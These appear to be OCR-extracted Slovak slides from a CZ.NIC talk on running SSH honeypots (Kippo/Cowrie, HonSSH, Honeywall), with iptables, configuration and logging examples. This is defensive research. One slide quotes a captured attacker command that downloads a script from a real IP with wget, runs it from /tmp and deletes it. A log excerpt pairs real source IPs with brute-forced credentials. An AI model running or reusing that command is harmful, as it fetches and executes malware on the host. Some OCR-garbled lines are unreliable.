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Honeypoty

e nizko-interaktivne

e vysoko-interaktivne
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Kippo / Cowrie

e https://gitlab.labs.nic.cz/honeynet/kippo - nas repozitar

* pouzité projekty:
https://github.com/micheloosterhof/kippo-mo (+ SFTP)
-> https://github.com/desaster/kippo

-> https://github.com/micheloosterhof/cowrie
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6 lokacii

e Praha

e San Jose
e Londyn

e Frankfurt
e Tokio

e Sydney
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honeymap.cz
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Kippo / Cowrie - vlastnosti

slabé pristupove hesla - mézu sa nadefinovat

e je moznost prijat akekolvek heslo
e emulované niektore prikazy

e zachytava, Co robi utoCnik v konzole

e zachytava malware - wget a sftp
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Presmerovanie portu

e -APREROUTING -p tcp -m tcp --dport 22 -s IP_ ROZSAH -
ACCEPT

e -APREROUTING -p tcp -m tcp --dport 22 -j REDIRECT --to-
ports 2222
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fs.pickle

e virtualny filesystem

e python createfs.py > fs.pickle
e python fsctl.py fs.pickle
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Kippo / Cowrie - vystupy

e download log
e ttylog
e textovy ttylog - novinka

e wget http://185.62.190.222/r4/rd.sh -O /tmp/.rd.sh; sh /tmp/.rd.sh; rm
-rf /tmp/.rd.sh
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ttylog

(admin) : /var/Lik
in/sk
bin/bas
bin/bash

.aptitude
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Kippo-graph
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HonSSH

[honeypot]

ssh_addr = x.x.x.x
ssh_port = 22
client_addr =10.0.0.5

honey addr =10.0.0.6
honey port = 22
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HonSSH - nastavenie siete

e echo 1 > /proc/sys/net/ipv4/ip_forward

* iptables -t nat -A POSTROUTING -s 10.0.0.6 -o ethO -
MASQUERADE

e Nastavenie honeypotu:
route add default gw 10.0.0.5
route del default gw 10.0.0.1
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Prenesené subory

[download]
passive = true

active = true
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Nastavenie uzivatelov

[spoof]
enabled = true

users_conf = users.cfg
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users.cfg

[root]
real_password = realne_heslo

fake passwords = root, admin, 123456, root123

[admin]
real_password = realne_heslo

fake passwords = admin, 1234

[admin2]
real_password = realne_heslo

random_chance = 50
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Honeywall

-A FORWARD -s x.x.x.x -p tcp -m tcp -m multiport --dports 20:23 - DROP

-A FORWARD -s x.x.x.x -p tcp -m physdev --physdev-in eth1 -m state --state NEW -m limit --limit 4/min --limit-
burst 30 -j tcpHandler

-A FORWARD -s x.x.x.x -p tcp -m physdev --physdev-in eth1 -m state --state NEW -m limit --limit 1/hour
--limit-burst 1 -j LOG --log-prefix "Drop TCP > 30 attempts™ --log-level 7

-A FORWARD -s x.x.x.x -p tcp -m physdev --physdev-in eth1 -m state --state NEW -j DROP
-A FORWARD -s x.x.x.x -p tcp -m physdev --physdev-in eth1 -m state --state RELATED -j tcpHandler

-A tcpHandler -j LOG --log-prefix "OUTBOUND TCP: " --log-level 7

-A tcpHandler -j QUEUE
-A tcpHandler -j ACCEPT
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Virtualizacia - -snapshot vol'ba

e gemu-system-x86 64 -enable-kvm -name Inthigh -m 256
-hda /share/honeypot.qcow.img -net
nic,macaddr=AA:AA:AA:AA:AA:AA -net
tap,ifname=tap_inthigh_internal,script=/etc/kvm/kvm-
ifup_internal -daemonize -vnc IP_ADRESA:5 -snapshot
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HonSSH - vystupy

e download log

e spoof log - ktoré ip pouzili ktoré prinlasovacie udaje, napr. ktora ip pouzila
root/aaa

e logs/20151028:

20151028 055712 529770,216.120.248.211,admin,admin, 1

20151028 063504 695096,208.67.1.96,admin,admin, 1

20151028 064439 152890,69.30.203.82,root,admin,1
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HonSSH - sessions/

o ttylogy
e download/ adresar - malware

e advanced network logy - textove
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Dakujem za pozornost’

Katarina Durechova * katarina.durechova@nic.cz

I o 8 1 | [ of pticaves



